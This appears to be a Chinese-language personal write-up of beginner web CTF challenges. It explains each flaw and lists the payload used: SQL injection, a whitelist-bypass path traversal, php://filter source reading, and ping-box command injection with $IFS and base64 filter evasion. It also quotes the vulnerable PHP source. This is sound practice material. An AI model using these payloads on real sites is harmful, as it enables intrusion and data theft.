重操旧业!
[极客大挑战 2019]EasySQL

进入后发现是账号登录的界面,尝试一些特殊字符串,如单引号,发现报错:
You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near 'admin'' at line 1
这说明存在注入点,我们输入账号为以下值,密码随意输入后,即可拿到 flag。
Payload
test' or 1;#
[极客大挑战 2019]Havefun
进去后是一只猫,点击后没什么反应,只能先审计源代码。在根目录发现如下代码:
<!--
$cat=$_GET['cat'];
echo $cat;
if($cat=='dog'){
echo 'Syc{cat_cat_cat_cat}';
}
-->
直接在 URL 内带参,即可得到 flag。
Payload
/?cat=dog[HCTF 2018]WarmUp
进去后是个滑稽,老样子先审计代码,发现 HTML 注释内带着一个文件名:source.php,访问后发现输出代码:

<?php
highlight_file(__FILE__);
class emmm {
public static function checkFile(&$page) {
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
if (! isset($page) || !is_string($page)) {
echo "you can't see it";
return false;
}
if (in_array($page, $whitelist)) {
return true;
}
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
}
}
if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
) {
include $_REQUEST['file'];
exit;
} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}
?>代码审计
checkFile 函数
- 判断
page,如果为空或不为字符串,则返回false。 - 检测
page是否在白名单列表内,如果在,则返回true。 - 新建
_page变量,拼接page和问号,然后截取问号前的内容,再次判断是否在白名单。还会进行一次urldecode提高兼容性。
在白名单列表里还有 hint.php,访问后提示:flag not here, and flag in ffffllllaaaagggg,说明 flag 在一个名为 ffffllllaaaagggg 的文件内。
根据逻辑,可以传入白名单文件名并在后面加问号,这样 checkFile 通过校验,而后面的 include 则能拼接访问到真正的 flag。
Payload
/?file=source.php?../../../../../ffffllllaaaagggg[ACTF2020 新生赛]Include
进入后只有个超链接 tips,点击后访问 ?file=flag.php,输出 Can you find out the flag?。
题目提示了是 include,于是尝试 index.php,发现输出重复,说明重复调用,需要加密输出。
尝试 php://input 被拦截,提示 hacker。于是使用 php://filter:
?file=php://filter/read=convert.base64-encode/resource=index.php解码后代码如下:
<meta charset="utf8">
<?php
error_reporting(0);
$file = $_GET["file"];
if(stristr($file,"php://input") || stristr($file,"zip://") || stristr($file,"phar://") || stristr($file,"data:")){
exit('hacker!');
}
if($file){
include($file);
}else{
echo '<a href="?file=flag.php">tips</a>';
}
?>同理,读取 flag.php 即可获取 flag。
Payload
/?file=php://filter/read=convert.base64-encode/resource=flag.php[ACTF2020 新生赛]Exec
进去后有一个输入框,可以进行 ping IP 操作,下面有回显。

题目提示 exec,推断是 ping IP,于是构造命令:

127.0.0.1&&cd /&&ls看到回显中有 flag,直接查看:
Payload
127.0.0.1&&cat /flag[GXYCTF2019]Ping Ping Ping
进入后提示 /?ip=,输入 ?ip=127.0.0.1,输出了 ping 结果。
在 IP 后加入 ls 成功执行,发现有 index.php 和 flag.php。
尝试 cat flag.php 提示不能有空格,于是用 $IFS 代替,结果发现不能使用 flag 关键字。于是想到用 base64 执行:
?ip=;a=Y2F0IGZsYWcucGhw;echo$IFS$a|base64$IFS-d|bash提示 bash 不能用,尝试了花括号、小括号、星号都不行,最后用反引号成功。
Payload
/?ip=;a=Y2F0IGZsYWcucGhw;echo$IFS$a|base64$IFS-d[SUCTF 2019]EasySQL
进入后是一段话:Give me your flag, I will tell you if the flag is right. 下方有个输入框。
输入 flag 后提示 NONONO;输入双引号也提示 NONONO,推断有屏蔽词,比如 and、or、from。
输入数字时返回 Array ( [0] => 1 ),说明可以查表,但语句中不能出现屏蔽词。
查阅 WP,有两种方法:
利用 SQL 查询逻辑
数字输入有回显,字符串无回显,说明存在 OR 逻辑。SQL 语句大概是:select cmd || flag from flag当
cmd=*,1时:select *,1 || flag from flag这样
1短路第一个flag,成功查询出 flag。- 利用 sql\_mode
sql_mode控制 SQL 语法,PIPES_AS_CONCAT会将||当作字符串连接符,而不是逻辑或。
Payload
*,11;set sql_mode=PIPES_AS_CONCAT;select 1今天学到很多,睡觉睡觉。